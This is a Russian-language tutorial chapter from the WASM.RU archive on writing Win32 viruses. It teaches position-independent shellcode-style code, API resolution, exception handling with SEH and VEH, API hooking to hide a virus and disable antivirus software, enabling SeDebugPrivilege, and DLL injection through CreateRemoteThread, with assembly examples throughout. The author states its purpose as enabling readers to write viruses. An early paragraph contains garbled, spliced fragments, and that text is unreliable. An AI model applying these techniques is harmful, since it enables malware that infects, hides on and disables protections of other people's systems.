От зеленого к красному: Глава 3: Программирование в Shell-код стиле. Важные техники системного программирования: SEH, VEH и API Hooking. Отключение Windows — Архив WASM.RU

Все статьи

От зеленого к красному: Глава 3: Программирование в Shell-код стиле. Важные техники системного программирования: SEH, VEH и API Hooking. Отключение Windows — Архив WASM.RU

Этот раздел является своеобразным обобщением первых двух глав. Прочтя его, Вы сможете уже без особых трудностей писать простые Win32-вирусы. Код в shell-код стиле или как он еще называется – базово-независимый код требует определенных условий при его написании. Основное условие - чтобы код не зависел от адреса загрузки его в адресное пространство процесса-жертвы и от структур данных загрузчика. Надо определить адрес какой-нибудь команды, где она находилась первоначально (т.е. в первом поколении). Это значение будет константой, зашитой в коде. Далее код должен определить, где он находиться в данный момент. Для этого есть несколько способов, которые описывались в 1 главе. Вот это и называется дельта-смещением.

Также мы должны знать адреса функций API, чтобы вирус был мульти-платформенным относительно Windows, т.е. работал во всех ОС Windows, т.к. известно, что адреса API-функций меняются в зависимости от ОС, а также могут поменяться в той же ОС в какой-то конфликтной ситуации, например при конфликте разделов виртуальной памяти. Для получения адресов, нужных нам функций ОС, существует много способов. Основы получения адресов мы рассмотрели. При получении адресов ОС Windows мы выполняем часть работы загрузчика. При загрузке исполняемого файла (PE, DLL, SYS, SCR) в адресное пространство процесса загрузчик заполняет таблицу адресов импорта (Import Address Table) и таблицу адресов экспорта (Export Address Table). При выполнении кода этого исполняемого файла IAT используется, чтобы хранить адреса всех API-функций, которые использует приложение. Таким образом, мы касаемся неявного связывания (implicit linking). Адрес API-функции может и не быть в IAT, его можно получить с помощью функции KERNEL32.DLL!GetProcAddress. Этой функции на вход передается описатель модуля, в котором экспортируется нужная функция и имя нужной функции. KERNEL32.DLL!GetProcAddress просматривает EAT модуля, описатель которого передается ей параметром (а описателем модуля(module handle), как известно является его базовый адрес(base address) в адресном пространстве процесса, в котором он загружен). Даже при неявном связывании ОС вызывает GetProcAddress для заполнения IAT. Мы своим кодом эмулируем процедуру GetProcAddress - не больше не меньше!

В исполняемом файле есть несколько секций, которые имеют свои атрибуты. Например, секция кода не предназначена для записи. Есть секция неинициализированных данных, которая имеет нулевой размер физически, но при загрузке данного исполняемого модуля в память эта секция приобретает материальный характер. Чтобы это было именно так, загрузчик просматривает таблицу секций и если он видит, что данная секция – секция неинициализированных данных, то он выделяет память в адресном пространстве процесса с помощью функций выделения памяти. Наш код находится всегда в одной секции. Чтобы таким же образом использовать виртуальное адресное пространство для своих целей приходиться использовать функции резервирования и выделения памяти в куче или, напрямую, - в виртуальной памяти.

Более того, есть проблема – если ЮЗВЕРЬ (классное слово :) ) посмотрит файл, зараженный нашим кодом, то он визуально сможет найти там чего-нибудь подозрительное. Чтобы этого не случилось приходиться шифровать наш код или строки текста, создавая соответственно, и расшифровщик. Но это естественно не единственное применение шифрования в коде.

Представьте, что у нас есть код обычного приложения подсистемы Win32 на ассемблере. Задача: превратить его в код в Shell-код стиле. Сначала надо все переменные переместить в секцию с кодом и соответственно поставить прыжок на нормальный код, чтобы эти данные не начали выполняться как код. Потом вычислить дельта-смещение. Далее получить адреса всех API-функций. После этого можно превращать обычный код в код в Shell-код стиле, т.е. заменять все смещения – смещениями с учетом дельта-смещения.

Пример:

Первоначальный код:

invoke MessageBox,0,offset Text1,offset Title1, MB_OK
.IF eax==0
	jmp error
.ENDIF
…
error:

Во-первых, переменные offset Text1, offset Title1 должны находиться в секции кода – т.е. там, где находиться код вируса. Из-за этого секцию с таким кодом нужно делать доступным для записи. Во-вторых, offset Text1 – это абсолютный адрес. Допустим, что мы вычислили дельта-смещение и поместили его в регистр EBP. ы вычислили  дель с таким кодом нужно делать доступным для записи. твественно и расшифровщик. ной ситуации.С учетом вычисленного дельта-смещения мы должны его исправить т.о.

lea edi, [ebp+ offset Text1]

Теперь в EDI находиться реальный адрес строки Text1. Также делаем и со всеми остальными переменными. Допустим, что адрес функции MessageBox, находиться в переменной _MessageBox. Тогда вызываем функцию так:

push MB_OK
lea esi,[ebp+ offset Title1]
push esi
lea esi,[ebp+ offset Text1]
push esi
push 0
mov eax,[ebp+_MessageBox]
call eax

Две строки

mov eax,[ebp+_MessageBox]
call eax

можно заменить одной

call dword ptr [ebp+_MessageBox]

Пример Закончен.

Как известно система команд современных 32-х разрядных процессоров не содержит в себе дальнего условного перехода. Но у нас код и данные расположены в одном большом сегменте, т.о. мы можем переходить на любые расстояния, используя модель памяти FLAT. Но нет команды, которая осуществляет косвенный переход. Т.е., если у нас адрес хранится в каком-нибудь регистре, то мы не можем использовать команду условного перехода, например так - jne EDI. Вот как можно реализовать косвенный переход

Пример:

cmp eax,0
jne Next
jmp edi
Next:
…

Пример Закончен.

Этот код означает следующее – если значение в регистре EAX равно нулю, то делается дальний переход на адрес, который находиться в EDI.

При программировании в shell-код стиле полезно пользоваться процедурами, т.к. в них можно использовать локальные переменные и они базово-независимы в принципе, т.к. используют стек. Но здесь возникает небольшой вопрос – где хранить дельта-смещение? Вопрос возникает потому, что мы обычно храним дельта-смещение  в регистре EBP. В процедурах, регистр EBP используется для своего первоначального предназначения – хранить базу кадра стека. Здесь можно пофантазировать. Я использовал локальную переменную для хранения дельта-смещения.

Директивы компилятора .IF,.WHILE и т.д. Вы можете применять без особых проблем, т.к. у нас всего один сегмент. В случае этих директив компилятор генерирует код, в который входят только относительные адреса.

API-функции мы будем вызывать по абсолютным адресам, для чего мы и получили их адреса. В итоге, первоначальный код, который мы решили перевести в код в Shell-код стиле превращается в такой:

Пример:

push MB_OK
lea esi,[ebp+ offset Title1]
push esi
lea esi,[ebp+ offset Text1]
push esi
push 0
call dword ptr [ebp+_MessageBox]
.IF eax==0
	jmp error
.ENDIF
…
error:

Пример Закончен.

В команде jmp error также используется относительный переход. По умолчанию в JMP в MASM’е трактуется как прямой внутрисегментный переход.

При программировании удобно использовать макросы. Посмотрите пример

Пример:

api macro x
	call dword ptr [ebp+x-delta]
endm

А вот так это можно использовать:

api _MessageBox

Пример Закончен.

Обобщенный пример программирования в Shell-код стиле

В этом разделе я хотел привести нормальную программу, а потом эту же программу, но в Shell-код стиле. Но потом я передумал :) Код той и другой программы находятся в архиве, который прилагается к статье. Итак, программа рекурсивного поиска. Программа выводит на экран с помощью MessageBox’а количество найденных файлов с расширением EXE в указанной директории и всех ее поддиректориях. Файлы ищутся в директории, имя которой находиться по адресу Buffer. В архиве есть папка, которая называется ShellCoded. В ней нормальная программа называется – normal.asm, в Shell-код стиле – shellcode.asm. Внимательно рассмотрите эти программы и попробуйте их сравнить. Также потренируйтесь переводить свои программы таким же образом.

Т.о. Вы можете переводить обычное Win32-приложение в приложение в shell-код стиле. Во вложении к статье я также предлагаю Вам шаблон файла, где Вам не придется получать дельта смещение и адреса API-функций. Там уже все есть как в сказке! Почти всё ;) Файл называется VXTemplateWin32.asm.

Важные техники системного программирования

Structured Exception Handling

Введение

Structured Exception Handling (SEH) - структурная обработка исключений, механизм, который поддерживается операционной системой и позволяющий обрабатывать ошибки в программах. В этом разделе я расскажу Вам, что такое SEH, как работает данный механизм и как его использовать в своих вирусах.

SEH – это системный механизм. Представьте, что Ваша программа попытается выполнить следующий код:

Пример:

xor eax,eax
mov dword ptr [eax],1 ;Записываем по адресу 0 - единицу.

Пример Закончен.

Любое обращение к адресам от 0 до 0FFFFh ведет к исключению нарушения доступа к памяти. Конечно, ошибка нарушения доступа к памяти появляется не только для этих адресов, но и для всех адресов выше 2х Гб в виртуальном адресном пространстве, а также если мы пытаемся обратиться к не переданным страницам или например, произвести запись к странице к которой мы не имеем право на запись.

Исключение – это событие, которое происходит в результате какой-либо ошибки.  Каждое исключение имеет свой код. Например, код неправомерного доступа к памяти – 0C0000005h. Коды исключений определены в файле WINBASE.H. Допустим, выполняется пример кода, когда мы записываем 1 по адресу 0, тогда возникает исключение. ОС должна реагировать на исключение.  Обычно при возникновении исключения ОС вызывает функцию, которая называется обработчиком исключений (exception handler). Эта функция – обычная CALLBACK-функция принимающая несколько параметров. Если мы обрабатываем это исключение, то мы пишем обработчик и в определенном месте указываем его адрес, чтобы, если произошло исключение, ОС смогла вызвать наш обработчик.  Если обработчик выполнился, ОС решает, что дальше делать исходя из возвращаемого значения, которой вернул  обработчик. Исходя из этих соображений, программа может продолжить работу, программа может завершиться или ОС вызывает следующий обработчик в цепочке (если таковой имеется). Т.е. можно устанавливать несколько обработчиков. Если мы сами не установили обработчик, то в любом приложении установлен обработчик по умолчанию и если случиться исключение, то ОС выведет сообщение о завершении программы.

Если на участок кода приведенном в примере установлен обработчик, то мы можем обработать эту ошибку с помощью специально написанного обработчика. Существует два типа обработчиков исключений – конечные и внутри-поточные. Итак…

Конечный обработчик

Если программа вызвала исключение, то, если внутри-поточные обработчики не установлены или не обрабатывают исключение, вызывается конечный обработчик. Конечный обработчик глобален для процесса, в котором он установлен, в отличии от внутри-поточного. Конечный обработчик устанавливается с помощью API-функции KERNEL32.DLL!SetUnhandledExceptionFilter. Как Вы заметили :) она экспортируется из kernel32.dll. С помщью этой функции можно установить конечный обработчик. Если в Вашей программе произошло исключение и его не обрабатывают никакие внутри-поточные обработчики, то вызывается конечный обработчик. Конечный обработчик вызывается как раз перед тем, когда ОС решила закрыть приложение. Смещение конечного обработчика передается как параметр функции KERNEL32.DLL!SetUnhandledExceptionFilter.

Пример:

Handler proc EXCEPT:DWORD
	…; здесь обрабатываем ошибочку
ret
Handler endp
……..
lea eax,[ebp+Handler]
push eax
call [ebp+_SetUnhandledExceptionFilter];установка конечного обработчика
….; защищенный код. Если здесь будет исключение, 
; то вызовется функция по адресу Handler

Пример Закончен.

Функция-обработчик такой прототип прототип:

	LONG UnhandledExceptionFilter( STRUCT _EXCEPTION_POINTERS *ExceptionInfo);

Прототип этой функции я взял из SDK. Также там описаны и возвращаемые значения этой функции. А возвращаемые значения могут быть такие:

  • eax = -1 - перегрузить контекст и продолжить
  • eax = 1 - выключает вывод Message Box'а
  • eax = 0 - включает вывод Message Box'а

Прототип конечного обработчика отличается от прототипа внутри-поточного обработчика.

Если что-то произошло в коде вируса, то надо просто перепрыгнуть на нормальный код программы, если этот код внедрен в программу и выполняется до ее старта. Если код вируса выполняется в потоке, то мы завершаем поток. Конечно, можно попробовать  исправить ошибку, и продолжить выполнение.

Внутри-поточный обработчик

Если мы хотим обрабатывать ошибки для каждого потока, т.е. устанавливать свой обработчик для каждого вида ошибок в потоке, то мы должны установить внутри-поточный обработчик. Например, ошибка нарушения доступа к памяти в одном потоке будет обрабатываться по-своему, а в другом потоке та же ошибка, уже по-другому, в зависимости от обработчика. Из внутри-поточных обработчиков можно делать цепочки. Т.е. если один обработчик не обрабатывает исключение, то исключение может обработать следующий обработчик в цепочке.

По адресу FS:[0] находиться указатель на структуру SEH, ее называют SEH-фрейм.

Вот описание этой структуры:

SEH struct
	PrevLink dd ?    ; адрес предыдущего SEH-фрейма
	CurrentHandler dd ?    ; адрес обработчика исключений
	SafeOffset dd ?    ; Смещение безопасного места
	PrevEsp dd ?      ; Старое значение esp
	PrevEbp dd ?     ; Старое значение ebp
SEH ends

Когда мы устанавливаем обработчик исключения вручную, то мы заполняем структуру SEH и передаем указатель на нее в FS:[0]. Структура SEH должна состоять как минимум из 2-х первых двойных слов. Эта новая созданная структура должна обязательно находиться в стеке, иначе наш обработчик не будет вызван. Более того, очередная новая созданная структура должна находиться в стеке выше, чем предыдущие установленные структуры.

Вот как можно установить внутри-поточный обработчик:

Пример:

lea eax,[edx+Handler];В edx - дельта смещение
push eax ;Формируем структуру SEH
push FS:[0];Формируем структуру SEH
mov FS:[0],ESP
…;Защищенный код
pop FS:[0];Восстанавливаем в FS:[0] адрес предыдущей структуры SEH
add ESP,4;убираем из стека оставшийся адрес обработчика из структуры
…
Handler proc ExcRec:DWORD, SehFrame:DWORD, Context:DWORD, DispatcherContext:DWORD
mov eax,0
ret
Handler endp

Пример Закончен.

Когда поток начинает только выполняться, у него уже установлен один обработчик, обработчик по умолчанию, который выводит сообщение о завершении программы.

Если присмотреться внимательно, то можно понять, что вышеприведенным кодом добавляется очередной элемент в связный список. По адресу FS:[0] содержится указатель на структуру SEH, в которой имеется адрес предыдущей структуры SEH в стеке. Этот связный список называется SEH-цепочка (SEH-chain). Так формируется цепочка из обработчиков исключений. Сцепление в цепочку обработчиков делается, например для того, чтобы каждый обработчик в цепочке обрабатывал свои типы исключений. Если первый обработчик не обработал исключение, то он возвращает eax=1 и управление передается следующему обработчику в цепочке. Т.е. если обработчик возвращает 1, то ОС переходит к следующему элементу в цепочке. Также для каждого куска кода может быть свой обработчик. Если данный обработчик – последний в цепочке, то у него указатель на предыдущий обработчик (поле PrevLink) будет равен -1. Чтобы точно понять, что же такое цепочка из внутри-поточных обработчиков посмотрите на рисунок:

При вызове внутри-поточного обработчика ОС использует Си-договоренность о передаче параметров, вместо стандартной договоренности, т.е. стек после вызова, вызывающий код, должен сам уравнивать, что ОС и делает.

Прототип внутри-поточного обработчика имеет вид

EXCEPTION_DISPOSITION __cdecl _except_handler (
    struct _EXCEPTION_RECORD *ExceptionRecord,
    void * EstablisherFrame,//указатель на структуру SEH
    struct _CONTEXT *ContextRecord,//Указатель на структуру CONTEXT
    void * DispatcherContext
    );

Ообработчик имеет доступ к структуре EXCEPTION_RECORD, которая содержит подробную информацию о исключении. С помощью адреса структуры SEH можно получить доступ к локальным переменным, т.к. структура SEH находится в стеке. Из структуры CONTEXT можно получить значения всех регистров, которые они имели во время возникновения исключения. Структуру CONTEXT также можно редактировать, чтобы исправить ошибку и продолжить выполнение программы. Параметр DispatcherContext обычно не используется.

В заключение этого раздела приведу значения, которые могут возвращать конечный обработчик:

  • eax = 1 - ОС вызывает следующий обработчик в цепочке
  • eax = 0 - перезагружаем контекст и продолжаем

Продолжение выполнения с безопасного места

Внутри-поточный обработчик

Когда мы просто прыгаем на безопасное место из обработчика, мы не сохраняем никакие регистры, кроме регистра EIP. Например, регистры ESP, EBP не сохраняются. Именно поэтому такой способ - «грязный». Есть техника позволяющая сохранять регистры, а также иметь доступ к локальным данным. Для этого нужно написать соответствующий обработчик. Используя эту технику можно исправить ошибку и продолжить выполнение с безопасного места. Вот маленькая программа, где используется техника продолжения выполнения с безопасного места:

Пример:

.386p
.model flat,stdcall
option casemap:none
;----------------------IncludeLib and Include---------------------
includelib \tools\masm32\lib\user32.lib
includelib \tools\masm32\lib\kernel32.lib
includelib \tools\masm32\lib\gdi32.lib
includelib \tools\masm32\lib\advapi32.lib
include \tools\masm32\include\windows.inc
include \Tools\masm32\include\proto.inc
include \tools\masm32\include\user32.inc
include \tools\masm32\include\kernel32.inc
include \tools\masm32\include\gdi32.inc
include \tools\masm32\include\advapi32.inc
;----------------------End IncludeLib and Include-----------------
SEH struct
PrevLink dd ?    ; адрес предыдущего SEH-фрейма
CurrentHandler dd ?    ; адрес обработчика исключений
SafeOffset dd ?    ; Смещение безопасного места
PrevEsp dd ?      ; Старое значение esp
PrevEbp dd ?     ; Старое значение ebp
SEH ends

.data
	seh db "In SEHHanlder",0
	seh1 db "After Exception SEHHanlder",0
.code
start:
	assume fs:nothing
	push ebp
	push esp
	push offset Next
	push offset SEHHandler 
	push FS:[0]
	mov FS:[0],ESP
	;здесь начинается защищенный код
		mov eax,0
		mov dword ptr [eax],1
	pop FS:[0];Восстанавливаем в FS:[0] адрес предыдущей структуры ERR
	add ESP,16;убираем из стека оставшийся адрес обработчика из структуры
Next:
	invoke MessageBox,0,offset seh1,offset seh1,0
	invoke ExitProcess,0
SEHHandler proc uses edx pExcept:DWORD, pFrame:DWORD, pContext:DWORD, pDispatch:DWORD
	mov edx,pFrame
	assume edx:ptr SEH
	mov eax,pContext
	assume eax:ptr CONTEXT
	push [edx].SafeOffset
	pop [eax].regEip
	push [edx].PrevEsp
	pop [eax].regEsp
	push [edx].PrevEbp
	pop [eax].regEbp
	invoke MessageBox,0,offset seh,offset seh,0
	mov eax,ExceptionContinueExecution
	ret
SEHHandler endp
end start

Пример Закончен.

В начале программы, в стеке создается SEH-фрейм. По адресу FS:[0] передается указатель на этот SEH-фрейм. Помимо смещения обработчика и адреса предыдущего SEH-фрейма мы передаем смещение безопасного места, значение ESP и EBP. Т.о. мы заполняем все поля структуры SEH. Если происходит исключение, то управление передается обработчику исключений SEHHandler. Обработчик исключений, используя переданную ему структуру SEH заполняет некоторые поля структуры CONTEXT, а именно регистры ESP(для сохранения вершины стека), EBP(для доступа к локальным данным), EIP(для перехода на безопасное место). Обработчик возвращает 1 или константу ExceptionContinueExecution, чтобы сообщить операционной системе, что обработчик обработал исключение и необходимо продолжить выполнение программы в контексте указанной в структуре CONTEXT.

Финальный обработчик

В финальном обработчике также можно перезагружать контекст таким образом, чтобы выполнение продолжалось с безопасного места. Но если мы хотим продолжить выполнение программы возвращать обработчик должен уже не 1, а -1. Финальному обработчику в отличие от внутри-поточного передается только структуры CONTEXT, EXCEPTION_RECORD, а структура SEH не передается, поэтому значения регистров EIP, EBP, ESP надо хранить в статической памяти или что-либо подобное, например в куче.

Заключение

SEH также используют для переполнения стека или переполнения кучи, с помощью подмены обработчика. Это уже штучки создателей эксплойтов – отдельное сообщество компьютерного андеграунда, так же как и вирмейкеры. Очень хорошо, когда сообщества объединяются или комбинируются. Остальную информация о SEH – такую как – «раскрутка стека», «информация, которая передается обработчику», и т.д. можно прочитать в статье Джереми Гордона.

Vectored Exception Handling (VEH)

VEH – или векторная обработка исключений - относительно новый механизм обработки исключений. Он появился впервые в операционной системе Windows XP. Вы, наверное, испугались названия, но не бойтесь, использовать VEH очень просто.

VEH это тоже самое, что и SEH – также устанавливаются обработчики исключений. Но в этих механизмах есть несколько различий. Во-первых, никаких служебных слов типа try, except, finally для С++, как раньше, нет.  Т.е. это не надстройка компилятора. Во-вторых, и это очень важно – VEH это не stack-frame based механизм. Т.е. раньше все SEH-фреймы были в стеке. Теперь же узлы VEH’а находятся в куче. В-третьих, VEH обработчики глобальны для процесса. Из VEH обработчиков можно делать цепочки.

Можно сравнить VEH с финальными обработчиками UnhandledExceptionFilter из которых можно делать цепочки. Различие с финальным обработчиком и в том, что векторный обработчик вызывается в первую очередь(т.е. до SEH), а финальный в последнюю.

Чтобы установить векторный обработчик мы вызываем функцию AddVectoredExceptionFilter. Вот ее прототип:

PVOID AddVectoredExceptionHandler(
  ULONG FirstHandler,
  PVECTORED_EXCEPTION_HANDLER VectoredHandler
);

FirstHandler – если этот параметр не ноль, то обработчик устанавливается, как следующий элемент в цепочке. Т.е. при возникновении исключения именно он вызовется ОС. Если этот параметр ноль, то обработчик устанавливается в начало цепочки и вызывается в том случае, если все остальные обработчики в цепочке не обрабатывают исключение, т.е. возвращают EXCEPTION_CONTINUE_SEARCH.

Огромным преимуществом VEH’а над SEH’ом в том, что он отлавливает абсолютно все исключения для всех потоков. А вот у SEH’а с этим проблемы.

Пример использования VEH’а:

Пример:

	lea eax,[ebp+Handler];В EBP - дельта-смещение
	push eax
	push 1
	call dword ptr [ebp+_AddVectoredExceptionHandler]
…;защищенный код
Handler proc Record:DWORD;обработчик 
	…;обработка исключения
	mov eax,1;Проход дальше по цепочке
	ret 
Handler endp

Пример Закончен.

VEH изнутри

Я попытался исследовать VEH изнутри. Что из этого получилось, описано в этом разделе.

В модуле NTDLL.DLL есть статическая глобальная переменная. Назовем её CurrentVEHFrame. В этой переменной содержится адрес текущего VEH-фрейма. При вызове функции AddVectoredExceptionHandler в куче создается новый VEH-фрейм и заполняется соответствующими значениями. VEH-фреймом я называю структуру, которая определена следующим образом

VEH struct
  Prev dd ?
  pСurrentVEHFrame dd ?
  EncodeVEHHandler dd ?
VEH ends

Prev - адрес в куче предыдущего VEH-фрейма. Если это самый последний фрейм, то его значение равно значению адреса переменной CurrentVEHFrame.

pСurrentVEHFrame - адрес переменной CurrentVEHFrame

EncodeVEHHandler - закодированный адрес обработчика. Чтобы получить виртуальный адрес обработчика необходимо вызвать функцию RtlDecodePointer библиотеки NTDLL(можно написать так: NTDLL!RtlDecodePointer).

Т.о. при  вызове функции AddVectoredExceptionHandler в цепочку векторных обработчиков добавляется новый элемент. Цепочка представляет связанный список. Вот рисунок, который иллюстрирует сказанное:

Здесь при возникновении исключения будет вызван обработчик Handler1. Если он не обрабатывает исключение, то управление передается обработчику, следующему в цепочке. Еще раз повторю, что ОС определяет, что обработчик является последним в цепочке, если pCurrentVEHFrame==Prev. Это показано на рисунке.

Перехват вызовов функций

Общая картина

                Перехват вызовов функций называется также «Per-process residency» техника, применяемая в операционных системах Windows. С ОС Windows поставляются файлы с расширением DLL – Dinamic Link Library. Это библиотеки динамической компоновки. Они экспортируют функции, чтобы их могли  вызвать другие приложения или DLL. Чтобы приложение могло использовать какие-то сервисы ОС, оно должно вызвать одну из функций, которая экспортируются системной DLL. Все функции ОС хранятся в системных DLL. Функции, которые являются посредниками между ОС и приложением называются API(Application Programming Interface)-функциями. Соль механизма перехвата функций состоит в следующем. Когда приложение вызывает API-функцию мы можем вместо оригинальной функции вызвать свою функцию, которая может изменить результат вызова для приложения-жертвы (для того приложения, в котором мы перехватываем функции). Т.о. мы можем изменять логику работы любого приложения. Т.е. любое обращение программы к ОС мы можем контролировать, изменять или просто наблюдать за работой какого-то приложения. Мы можем понять, как работает та или иная программа по функциям, которая она вызывает. И этот способ контроля будет значительно проще для анализа, чем простая отладка. Тем более некоторые программы используют анти-отладочные механизмы. Некоторые операции в ОС Windows вообще нельзя осуществить без помощи перехвата API-функций. Перехватывать можно не только API-функции, но и любые экспортируемые функции.

                В вирусологии техника перехвата особенно полезна. Она используется для продвинутого заражения файлов, полезной нагрузки, получения информации нужной вирусу (например, путь к файлу для заражения), скрытия присутствия, уничтожения или нарушения работы ненужных нам программ (антивирусов и брандмауэров).

                В адресное пространство любого процесса загружена библиотека NTDLL.DLL. При вызове функций из kernel32.dll, например, OpenProcess в конечном итоге вызывается функция ZwOpenProcess, которая находиться в NTDLL.DLL. Низкоуровневые функции, которые находятся в NTDLL.DLL называются NativeAPI функции. Лучше перехватывать именно их, чтобы процесс жертва не смог отделаться от перехвата даже с помощью вызова Native API. Можно и просто исправить перехват. Но чтобы и этого не случилось, необходим перехват в нулевом кольце. Здесь мы будем заниматься только третьим кольцом.

Привилегии

                Перехват вызовов функций делается при помощи некоторого механизма. Этот механизм применим для одного конкретного процесса. Если мы хотим глобализировать наш перехват, то мы должны применить технику перехвата для всех процессов в системе. Но по умолчанию даже пользователь с привилегиями администратора не имеет возможности получить доступ к системным процессам (например, winlogon.exe). Чтобы перехватывать функции и в системных процессах необходим доступ к этим системным процессам. Вообще, для внедрения кода в удаленный процесс (а это один из важных шагов механизма перехвата) необходимы следующие привилегии:

  • PROCESS_CREATE_THREAD – для создания потока в удаленном процессе
  • PROCESS_VM_WRITE – для записи в память удаленного процесса
  • PROCESS_VM_OPERATION – для операций типа изменения прав доступа к памяти (protect и lock).

Чтобы открыть системный процесс с такими привилегиями, вызывающий функцию KERNEL32.DLL!OpenProcess должен иметь привилегию SeDebugPrivilegies. Ниже представлена процедура на ассемблере получения данной привилегии:

Пример:

EnableDebugPrivilege proc
LOCAL hToken:DWORD
LOCAL tkp:TOKEN_PRIVILEGES
LOCAL ReturnLength:DWORD
LOCAL luid:LUID
	mov eax,0
	invoke OpenProcessToken,INVALID_HANDLE_VALUE, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY,ADDR hToken
	invoke LookupPrivilegeValue,NULL,offset Priv,ADDR luid
	.IF eax==0
		invoke CloseHandle,hToken
		ret
	.ENDIF
	mov tkp.PrivilegeCount,1
	lea eax,tkp.Privileges
	assume eax:ptr LUID_AND_ATTRIBUTES
	push luid.LowPart
	pop [eax].Luid.LowPart

	push luid.HighPart
	pop [eax].Luid.HighPart

	mov [eax].Attributes,SE_PRIVILEGE_ENABLED
	
	invoke AdjustTokenPrivileges,hToken,NULL,ADDR tkp,sizeof tkp,ADDR tkp,ADDR ReturnLength
	invoke GetLastError
	.IF eax!=ERROR_SUCCESS
		ret
	.ENDIF
	mov eax,1
	ret
EnableDebugPrivilege endp

Пример Закончен.

Здесь Priv - это строка определенная так:

Priv db "SeDebugPrivilege",0

После вызова данной функции вызывающий ее процесс может открывать системные процессы.

Пример:

	call EnableDebugPrivilege
	push ProcID;ID системного процесса 
	push 0
	push PROCESS_CREATE_THREAD or PROCESS_VM_WRITE or PROCESS_VM_OPERATION
	call OpenProcess

Пример Закончен.

GetLastError вернет ERROR_SUCCESS. Если открыть системный процесс без вызова функции EnableDebugPrivilege, то OpenProcess вернет ноль, а GetLastError вернет ERROR_ACCESSDENIED.

Dinamic Link Library

Общая картина

                 Чтобы перехватить функцию в каком-нибудь процессе необходимо выполнить код в этом процессе. Изначально этот код не содержится в этом процессе. Т.е. его необходимо туда поместить. Для этого есть два способа: 1) Внедрение кода с помощью DLL. 2) Простое копирование кода в шел-код стиле. Большинство методов перехвата API функций используют внедрение кода с помощью DLL, т.к. при этом нет требования базовой независимости и зависимости от адресов API-функций. В случае вируса нам желательно не создавать никаких DLL, хотя нет никаких проблем, если мы создадим ее. При этом есть ограничение – это размер кода, который будет внедрен в жертву при заражении. Как создавать код в шел-код стиле мы уже знаем, теперь рассмотрим как создать DLL.

                DLL – это обычный PE-файл, в котором есть соответствующий флаг поля Characteristics файлового заголовка. В EXE-файле не может быть этого флага. Если в EXE файле стоит флаг DLL, то он считается некорректным. DLL – это обычно набор функций, которые экспортируются другими модулями. У DLL, как и у любого EXE файла есть точка входа. Для DLL точка входа указывает на функцию, которую условно можно назвать DLLMain. Вот её прототип:

DllMain proc hInstDLL:HINSTANCE, reason:DWORD, reserved1:DWORD

hInstDLL – описатель данной DLL

Эта функция вызывается при определенных событиях. В результате какого события была вызвана функция DLL указано в параметре reason.

Вот его возможные значения и их описание:

  • DLL_PROCESS_ATTACH - DLL получает это значение, когда впеpвые загpужается в адpесное пpостpанство пpоцесса. Вы можете использовать эту возможность для того, чтобы осуществить инициализацию. При этом значении мы устанавливаем перехватчик.
  • DLL_PROCESS_DETACH - DLL получает это значение, когда выгpужается из адpесного пpостpанства пpоцесса. Вы можете использовать эту возможность для того, чтобы "почистить" за собой: освободить память и так далее.
  • DLL_THREAD_ATTACH - DLL получает это значение, когда пpоцесс создает новый поток.
  • DLL_THREAD_DETACH - DLL получает это значение, когда поток в процессе был уничтожен.

Создание DLL

Создание DLL мало отличается от создания EXE. Вот код самой простой DLL:

Пример:

;----------------------------------------------------------------------------
;				DLL.asm
;----------------------------------------------------------------------------
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc

includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

.data
.code
DllMain proc hInstDLL:HINSTANCE, reason:DWORD, reserved1:DWORD
	.if reason==DLL_PROCESS_ATTACH
		;код
	.elseif reason==DLL_PROCESS_DETACH
		;код
	.elseif reason==DLL_THREAD_ATTACH
		;код
.else    ; DLL_THREAD_DETACH
		;код
	.endif
	mov  eax,TRUE
ret
DllMain Endp

TestFunction proc;Функция, которая ничего не делает, но экспортируется
ret
TestFunction endp
end DllMain
;----------------------------------------------------------------------------

Пример Закончен.

Также необходимо создать файл с расширением DEF, который должен быть примерно такого вида:

Пример:

;----------------------------------------------------------------------------
;				DLL.def
;----------------------------------------------------------------------------
LIBRARY DLL
EXPORTS TestFunction
;----------------------------------------------------------------------------

Пример Закончен.

Где LIBRARY – имя библиотеки, EXPORTS – имя функции, которая экспортируется из DLL(EXPORTS может быть несколько). Необходимо при вызове DLLMain сохранять регистры esi,edi,ebx,ebp и восстанавливать их при выходе из DllMain.

Для компиляции DLL нужно создать как обычно объектный файл, а для линковки используйте следующую строку:

link /DLL /SUBSYSTEM:WINDOWS /DEF:DLL.def DLLSkeleton.obj

Видите, ключ /DLL указывает на установку флага DLL в файловом заголовке.

Внедрение и исполнение удаленного кода

Внедрить DLL в адресное пространство постороннего процесса можно несколькими способами. А именно: с помощью реестра, с помощью хуков, с помощью удаленных потоков, с помощью замены оригинальной DLL, а также DLL можно внедрить как отладчик или через функцию KERNEL32.DLL!CreateProcess. Все эти способы описаны в книгe Джеффри Рихтера «Windows для профессионалов». Можно также и даже проще внедрить просто посторонний код в чужой процесс. Хотя в этом случая потребуется время на его создание. Но мы-то с Вами знаем теперь как делать такой код.

Я буду использовать метод внедрения DLL с помощью удаленных потоков, т.к. он является самым гибким. Но вы можете использовать любой другой. Это совершенно не принципиально, главное чтобы внедрение происходило правильно и в нужные приложения. Методы внедрения, конечно, отличаются друг от друга и налагают некоторые ограничения.

Windows предоставляет функцию, которая называется KERNEL32.DLL!CreateRemoteThread. Она позволяет создать новый поток внутри удаленного процесса. Мы заставляем вызвать функцию KERNEL32.DLL!LoadLibrary потоком целевого процесса для загрузки нужной DLL. Одним из параметров функции KERNEL32.DLL!CreateRemoteThread является lpStartAddress, который означает адрес процедуры потока. Процедура потока принимает один параметр. KERNEL32.DLL!LoadLibrary принимает также один параметр. Т.е. как стартовый адрес удаленного потока мы можем указать адрес функции KERNEL32.DLL!LoadLibrary. При этом мы пользуемся тем, что KERNEL32.DLL проецируется во всех виртуальных адресных пространствах по одному и тому же адресу и из этого соображения предполагаем, что в  удаленном процессе функция KERNEL32.DLL!LoadLibrary тоже находиться по тому же адресу что и в нашем процессе. 

